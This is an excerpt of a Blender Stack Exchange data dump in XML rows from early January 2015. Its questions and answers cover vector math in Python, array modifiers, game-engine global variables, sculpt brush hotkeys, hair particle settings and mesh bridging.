  <row Id="21617" PostTypeId="2" ParentId="21606" CreationDate="2015-01-01T21:44:37.280" Score="1" Body="&lt;p&gt;When you initialize total_points outside the loop it should work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mathutils&#xA;..&#xA;..&#xA;total_points = mathutils.Vector((0,0,0))&#xA;&#xA;for vert in verts_in_face:&#xA;    local_point = current_obj.data.vertices[vert].co&#xA;    total_points = total_points + local_point&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For all available vector operations you can lookup the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/mathutils.html&quot; rel=&quot;nofollow&quot;&gt;mathutils docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-01T21:44:37.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21618" PostTypeId="1" AcceptedAnswerId="21619" CreationDate="2015-01-01T23:20:46.690" Score="3" ViewCount="1561" Body="&lt;p&gt;I have a Array modifier on an object, and would like to rotate each individual copy of the original object, around it's own origin; without applying the Array modifier, is this possible?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2018-01-05T15:14:08.677" Title="How to rotate individual objects in an array modifier around their own origins" Tags="&lt;modifiers&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21619" PostTypeId="2" ParentId="21618" CreationDate="2015-01-01T23:34:43.240" Score="3" Body="&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifiers operate on mesh data, so the array modifier must take an initial mesh and output a resulting mesh which another modifier can operate on.&lt;br&gt;&#xA;This means that the array modifier copies every vertex, edge, and face in your initial mesh for every duplicate it creates (storing the same data multiple times). Also see &lt;a href=&quot;https://blender.stackexchange.com/q/7235/599&quot;&gt;Applying Array Modifier - Still instance?&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/q/9206/599&quot;&gt;What techniques have been used to repeat geometry or other detail to the infinite horizon?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; The array modifier doesn't operate on an object level, so there are no &quot;objects&quot; to rotate without applying the modifier and separating loose parts.&lt;br&gt;&#xA;Essentially modifiers are stuck with working in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest you can get is destructively rotating the initial mesh, however this will change the dimensions of the object (unless the object is a sphere), potentially giving unwanted results if you are using &lt;em&gt;Relative Offset&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zfWNp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-01-01T23:34:43.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21620" PostTypeId="1" CreationDate="2015-01-01T23:51:01.340" Score="4" ViewCount="13304" Body="&lt;p&gt;I'm trying to make an inventory with 4 cells or more and 2 various items or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TbfqQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to check if the variable x is set to False. If so, then the cell1() function should be x set to True. &#xA;The idea is if x is True then nothing should be collected. In principle, should represent x if the cell is empty or full.&#xA;My problem is that x is always &quot;False&quot; after the function has finished???&#xA;Why does it work in Python but not in Blender?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = &quot;False&quot;&#xA;&#xA;def xReplace(value):&#xA;    global x&#xA;    x = value&#xA;&#xA;&#xA;def cell1():    &#xA;    if sens.positive and x == &quot;False&quot;: # sens= message sensor&#xA;        var()                          # var()= function update text in cell1/ or end object&#xA;        xReplace(&quot;True&quot;)               # &quot;change the value from global variable x&quot;&#xA;&#xA;    elif sens.positive and x == &quot;True&quot;: &#xA;        var2()                         # var2()= function update/set in cell2&#xA;&#xA;cell1()&#xA;print(x)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;console prints&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;True&#xA;False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not understand why it prints variable x twice, and why is the second line False?&#xA;I think Blender makes two variables of the same name.? Because when I write print (x == x) then comes twice True. Why does the Blender in this way?&#xA;Or is there another way to do it.&lt;/p&gt;&#xA;" OwnerUserId="9761" LastEditorUserId="2217" LastEditDate="2015-11-07T16:10:53.690" LastActivityDate="2015-12-22T17:47:50.593" Title="change the global variable value from function in bge?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21621" PostTypeId="2" ParentId="3643" CreationDate="2015-01-02T01:57:47.763" Score="0" Body="&lt;p&gt;To see the differences, go to Outliner Editor&gt;Datablocks Information Display&gt;Brushes and then open the Brush that you desire and expand RNA to see the setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Brush&quot; Brush has a 1 pixel radius whereas the Draw and SculptDraw brushes are set to 35 pixels.&#xA;The Unprojected Radius varies among all three brushes.&#xA;The Sculpt Draw Brush has a 10% spacing whereas the Brush and Draw brushes are set to 5%.&#xA;Everything else appears to be identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X = Cycles between Brush, Draw and SculptDraw Brushes.&#xA;- Blender 2.72b&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKrZx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2015-01-02T01:57:47.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21622" PostTypeId="2" ParentId="7310" CreationDate="2015-01-02T02:08:56.253" Score="27" Body="&lt;p&gt;&lt;kbd&gt;M&lt;/kbd&gt; = Mask Painting&lt;br&gt;&#xA;&lt;kbd&gt;K&lt;/kbd&gt; = Snake Hook Brush&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; = Crease Brush&lt;br&gt;&#xA;&lt;kbd&gt;C&lt;/kbd&gt; = Clay Brush&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; = Flatten/Contrast Brush&lt;br&gt;&#xA;&lt;kbd&gt;L&lt;/kbd&gt; = Layer Brush&lt;br&gt;&#xA;&lt;kbd&gt;G&lt;/kbd&gt; = Grab Brush&lt;br&gt;&#xA;&lt;kbd&gt;I&lt;/kbd&gt; = Inflate/Deflate Brush&lt;br&gt;&#xA;&lt;kbd&gt;P&lt;/kbd&gt; = Pinch/Magnify Brush&lt;br&gt;&#xA;&lt;kbd&gt;S&lt;/kbd&gt; = Smooth Brush  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;kbd&gt;1&lt;/kbd&gt; = Blob Brush&lt;br&gt;&#xA;&lt;kbd&gt;2&lt;/kbd&gt; = Clay Brush&lt;br&gt;&#xA;&lt;kbd&gt;3&lt;/kbd&gt; = Clay Strips Brush&lt;br&gt;&#xA;&lt;kbd&gt;4&lt;/kbd&gt; = Crease Brush&lt;br&gt;&#xA;&lt;kbd&gt;5&lt;/kbd&gt; = Fill/Deepen&lt;br&gt;&#xA;&lt;kbd&gt;6&lt;/kbd&gt; = Flatten/Contrast Brush&lt;br&gt;&#xA;&lt;kbd&gt;7&lt;/kbd&gt; = Grab Brush&lt;br&gt;&#xA;&lt;kbd&gt;8&lt;/kbd&gt; = Inflate/Deflate&lt;br&gt;&#xA;&lt;kbd&gt;9&lt;/kbd&gt; = Layer Brush&lt;br&gt;&#xA;&lt;kbd&gt;0&lt;/kbd&gt; = Mask  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;1&lt;/kbd&gt; = Nudge Brush&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;2&lt;/kbd&gt; = Pinch/Magnify Brush&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;3&lt;/kbd&gt; = Rotate&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;4&lt;/kbd&gt; = Scrape/Peaks&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;5&lt;/kbd&gt; = SculptDraw&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;6&lt;/kbd&gt; = Smooth&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;7&lt;/kbd&gt; = Snake Hook&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;8&lt;/kbd&gt; = Thumb  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graphic below, slightly outdated. Twist was renamed Rotate and Shift+Number hotkeys re-assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z4oDp.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z4oDp.jpg&quot; alt=&quot;keybord shortcuts on the brush icons&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current as of Blender 2.79a&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="2217" LastEditDate="2018-04-06T23:48:19.987" LastActivityDate="2018-04-06T23:48:19.987" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21623" PostTypeId="1" AcceptedAnswerId="21628" CreationDate="2015-01-02T03:08:23.937" Score="12" ViewCount="12884" Body="&lt;p&gt;How can I change the curve resolution of hair particles?  It seems that by default, hair consists of 4 segments.  Which is fine most of the time, but for long hair this does not work at all, as in this picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xw7Pm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;segments&lt;/em&gt; spinner at the very top of the particle settings does not accomplish this, contrary to what one would think from the name and tooltip: &lt;em&gt;&quot;Number of Hair Segments&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-01-02T11:00:42.397" Title="How can you change the curve resolution of hair particles?" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21624" PostTypeId="2" ParentId="21506" CreationDate="2015-01-02T03:24:56.040" Score="3" Body="&lt;p&gt;Sorry but the bottom line is that Blender doesn't like the formatting of this media. Sorry. It is frame segmented instead of strictly interlaced and just confuses the ffmpeg that Blender uses. I have the same problem with media from my Sony P&amp;amp;S camera.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-01-02T03:24:56.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21625" PostTypeId="2" ParentId="21059" CreationDate="2015-01-02T03:28:20.617" Score="3" Body="&lt;p&gt;Make sure that you add the composited scene back to the sequencer or VSE, then check that the VSE scene has the render properties Post &gt; Sequencer ticked.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-01-02T03:28:20.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21626" PostTypeId="2" ParentId="21620" CreationDate="2015-01-02T04:19:18.550" Score="1" Body="&lt;p&gt;This is, no kidding, straight from my professors mouth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three scopes of Variables; one does not apply to blender.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Local&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strike&gt;Form-Level&lt;/strike&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Global&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Local variables would be like game properties, or a material.&#xA;They have effect on only those procedures and functions who posses them and objects/procedures designed to be affected by them via &lt;em&gt;collision, near, ray, radar ect.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can only be changed/accessed via the procedures/functions to which they belong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Global variables (this is the real answer) can be changed, accessed, and modified by any/all procedures, functions, and objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means &lt;strong&gt;Yes&lt;/strong&gt;. If it is on one, it's on 'em all.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-02T04:19:18.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21627" PostTypeId="1" AcceptedAnswerId="21658" CreationDate="2015-01-02T07:04:34.963" Score="3" ViewCount="763" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lhAL1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi. I want to add a new hotkey in Blender. &#xA;So, 'User Preferences &gt; Input &gt; + Add New' give me a hotkey slot and I name it as 'rotate view' with 'Alt + LMB' key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't change the RNA. I guess it's about function of this hotkey.&#xA;How can I get this work?&lt;/p&gt;&#xA;" OwnerUserId="9765" LastActivityDate="2015-01-03T11:00:42.433" Title="RNA definition type in user preference &gt; input , how can I change this?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21628" PostTypeId="2" ParentId="21623" CreationDate="2015-01-02T08:02:34.123" Score="14" Body="&lt;p&gt;There are three different settings which control this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s8vKe.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s8vKe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;3D view &gt; Particle edit mode &gt; Tool shelf &gt; Options &gt; Draw&lt;/em&gt;. This setting affects the curve resolution in the 3D view only while in particle edit mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Properties &gt; Particle settings &gt; Render &gt; Steps&lt;/em&gt; This setting controls the number of steps in the final render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Properties &gt; Particle settings &gt; Display &gt; Color&lt;/em&gt; This setting controls the number of steps in the viewport, outside of particle edit mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Hair&quot;&gt;&lt;em&gt;Segments&lt;/em&gt;&lt;/a&gt; setting at the top of the particle settings controls the number of &lt;em&gt;control vertices&lt;/em&gt; there are, however doesn't affect the number of &lt;em&gt;interpolation steps&lt;/em&gt;. Think of this like scaling and image up with &lt;em&gt;Nearest&lt;/em&gt; interpolation; you end up with more pixels, but the result is not smoothed.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-01-02T08:18:10.247" LastActivityDate="2015-01-02T08:18:10.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21630" PostTypeId="2" ParentId="21623" CreationDate="2015-01-02T11:00:42.397" Score="3" Body="&lt;p&gt;You should also check the influence of the &lt;em&gt;Children&lt;/em&gt; settings in the &lt;em&gt;Kink&lt;/em&gt; section are different types of periodic offset to choose from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase the frequency slider (number of waves) and adjust the amplitude (strength of waves)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ViHyb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3h65v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Hair_Rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles hair rendering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-02T11:00:42.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21631" PostTypeId="1" CreationDate="2015-01-02T11:24:46.867" Score="1" ViewCount="1230" Body="&lt;p&gt;&lt;strong&gt;What i want to do:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;strong&gt;player/ avatar&lt;/strong&gt; is close to an object, objects texture changes to a higher rez one/ &lt;em&gt;object changes material&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How to get distance between two objects using script?&lt;/li&gt;&#xA;&lt;li&gt;How to apply/change texture to an object using script?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9664" LastEditorUserId="9664" LastEditDate="2015-01-03T18:51:33.377" LastActivityDate="2015-01-03T18:51:33.377" Title="How to change objects texture using python in BGE?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21632" PostTypeId="2" ParentId="21631" CreationDate="2015-01-02T14:04:42.100" Score="3" Body="&lt;p&gt;You don't even need to write python code, you can change the material with level of detail (LOD)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wi9ob.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create different objects (or duplicate the same mesh Shift-D if don't want lower polygon count) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assign the textures to the objects -&lt;/li&gt;&#xA;&lt;li&gt;And all to the highest resolution object as LOD objects.&lt;/li&gt;&#xA;&lt;li&gt;Adjust the distance for where they should be displayed.&lt;/li&gt;&#xA;&lt;li&gt;Move all but the highest resolution object to an invisble layer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The effect is visible in the viewport:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6R0Hs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A python soultion would be to combine snippets from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/8475/python-set-material-to-material-slot&quot;&gt;Python - Set material to material slot&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7144/how-to-get-the-distance-between-two-objects-in-the-game-engine&quot;&gt;How to get the distance between two objects in the game engine?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-01-02T15:52:37.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21633" PostTypeId="1" CreationDate="2015-01-02T14:10:11.177" Score="1" ViewCount="1351" Body="&lt;p&gt;Happy New Year!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to rebuild a picture using the BLAM Addon for Camera Calibration, but using the two-vanishing-point method does not work properly for me.&#xA;Look at the Plane on the right side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZN9Z6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZN9Z6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively i tried using the image midpoint,in which the plane looked good, but the pillar seems distorted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gptYN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gptYN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&#xA;Is my setup on the left side correct?&#xA;Did I forget something?&#xA;I already used Lens Correction in Photoshop for the Distorsion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time!&lt;/p&gt;&#xA;" OwnerUserId="9768" LastEditorDisplayName="user27640" LastEditDate="2018-02-11T02:20:02.963" LastActivityDate="2018-02-11T02:20:02.963" Title="BLAM Camera Calibration Wrong Z-Axis?" Tags="&lt;camera&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21635" PostTypeId="1" CreationDate="2015-01-02T15:03:55.010" Score="2" ViewCount="92" Body="&lt;p&gt;If I wanted to override an operator, is there a list somewhere that specifies what exactly I need to provide in the override dictionary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find the actual requirements?&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorUserId="2217" LastEditDate="2015-01-02T21:11:20.350" LastActivityDate="2015-01-02T21:11:20.350" Title="How can I find out what an operator requires from context?" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21636" PostTypeId="1" CreationDate="2015-01-02T16:02:10.407" Score="0" ViewCount="49" Body="&lt;p&gt;If I had a map of the world or drew my own map texture how would I use it as a texture for a sphere mesh, and also how would I do this without an ugly seem on the part of the sphere? I want texture a sphere.&lt;/p&gt;&#xA;" OwnerUserId="8412" LastActivityDate="2015-01-02T16:02:10.407" Title="Texturing a sphere mesh?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-02T17:11:36.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="21637" PostTypeId="1" AcceptedAnswerId="21661" CreationDate="2015-01-02T18:07:47.967" Score="4" ViewCount="564" Body="&lt;p&gt;I saw some similar questions to this, but nothing that quite fit.  For example, suppose I have a material that is used by a number of objects, e.g., two shaders feeding a mixer.  I want to animate the mix factor, but with different (non-random) keyframes for each object.  I'm using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I keyframe the factor directly, it will use the same keyframes for all for all objects.  I can duplicate the material for each object, but that's hard to maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node groups come close.  I can encapsulate the material in a group and bring the factor out as an input, so I only have to maintain one material.  But it appears that I still need a separate &quot;wrapper&quot; material for each object in order to set the keyframes.  This is kind of cumbersome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought a driver might help, with a keyframed custom property on each object; I had hoped that there was a way to tell it to use the custom property on the &quot;current&quot; object, but it requires a specific object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was also hoping the attribute node would give access to custom properties, but apparently not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ways?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9771" LastEditorUserId="9771" LastEditDate="2015-01-03T14:41:50.757" LastActivityDate="2015-01-03T14:41:50.757" Title="Can a material be keyframed on a per-object basis?" Tags="&lt;materials&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21638" PostTypeId="1" CreationDate="2015-01-02T18:48:51.953" Score="1" ViewCount="659" Body="&lt;p&gt;So im trying to make a movement script and i want it to have a max speed and min speed iv'e tried using the &lt;code&gt;object.applyForce((0, 10, 0))&lt;/code&gt; but that just keeps adding up the speed of the object.&lt;/p&gt;&#xA;" OwnerUserId="9616" LastActivityDate="2016-05-03T09:41:38.617" Title="Smooth Player Movement?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21639" PostTypeId="1" AcceptedAnswerId="21642" CreationDate="2015-01-02T19:27:10.477" Score="0" ViewCount="147" Body="&lt;p&gt;I am following a coffee cup tutorial where I have to bridge two extrusions. I did that but the edges are intersecting giving crappy results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saved AFTER the bridge - so if I have to recreate it I will - but was hoping to learn HOW to fix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached are two images showing the problem. Thanks!&lt;img src=&quot;https://i.stack.imgur.com/f22GZ.png&quot; alt=&quot;Edge intersection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lPlS3.png&quot; alt=&quot;Picture 2 is another view showing edge issue&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9772" LastActivityDate="2015-01-03T12:48:28.097" Title="Can Blender unbridge (unloop) a mesh?" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;add-on&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21640" PostTypeId="1" AcceptedAnswerId="21644" CreationDate="2015-01-02T19:39:48.927" Score="1" ViewCount="856" Body="&lt;p&gt;I am ready to download Blender. I have and older iMac, 20&quot;, 32 bit. It has memory upgrade to 4GB and the latest Yosemite. I only see the option for 64bit for download. Is there still a 32 bit or does it not matter?&lt;/p&gt;&#xA;" OwnerUserId="9652" LastEditorUserId="2217" LastEditDate="2015-01-03T03:12:38.863" LastActivityDate="2015-01-14T22:24:50.240" Title="32 bit iMac, will 64 bit run properly?" Tags="&lt;osx&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21641" PostTypeId="2" ParentId="21639" CreationDate="2015-01-02T20:08:44.940" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;add another loop cut in between&lt;/li&gt;&#xA;&lt;li&gt;delete the new vertices&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The bridge will be gone now&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="2217" LastEditDate="2015-01-02T20:41:49.490" LastActivityDate="2015-01-02T20:41:49.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21642" PostTypeId="2" ParentId="21639" CreationDate="2015-01-02T20:14:47.027" Score="1" Body="&lt;p&gt;I deleted the crossing faces and made new ones then re-bridged. Had the situation crop up a couple more times. Turned out my faces were not rotated towards one-another enough.&lt;/p&gt;&#xA;" OwnerUserId="9772" LastEditorUserId="2217" LastEditDate="2015-01-02T20:40:56.380" LastActivityDate="2015-01-02T20:40:56.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21643" PostTypeId="1" AcceptedAnswerId="27077" CreationDate="2015-01-02T20:18:05.140" Score="4" ViewCount="2923" Body="&lt;p&gt;The only method I could find was to use an operator which seems more like a workaround than a solution.&lt;/p&gt;&#xA;" OwnerUserId="9773" LastActivityDate="2019-04-10T21:34:29.810" Title="How do I add a rigidbody to an object with python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21644" PostTypeId="2" ParentId="21640" CreationDate="2015-01-02T20:57:51.750" Score="2" Body="&lt;p&gt;Blender dropped support for the 32bit versions of OSX in 2.72.&lt;br&gt;&#xA;To your question about running a 64bit version on your 32bit system, I will direct you &lt;a href=&quot;https://apple.stackexchange.com/q/103996&quot;&gt;here&lt;/a&gt;.&lt;br&gt;&#xA;If you find that you can not use any 64bit software, because of your CPU or some other reason; then you can still use 2.71 with no problem.&lt;br&gt;&#xA;&lt;a href=&quot;http://download.blender.org/release/Blender2.71/blender-2.71-OSX_10.6-j2k-fix-i386.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download link&lt;/a&gt; for 2.71 32bit OSX on blender's server.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:45:32.000" LastActivityDate="2015-01-02T20:57:51.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
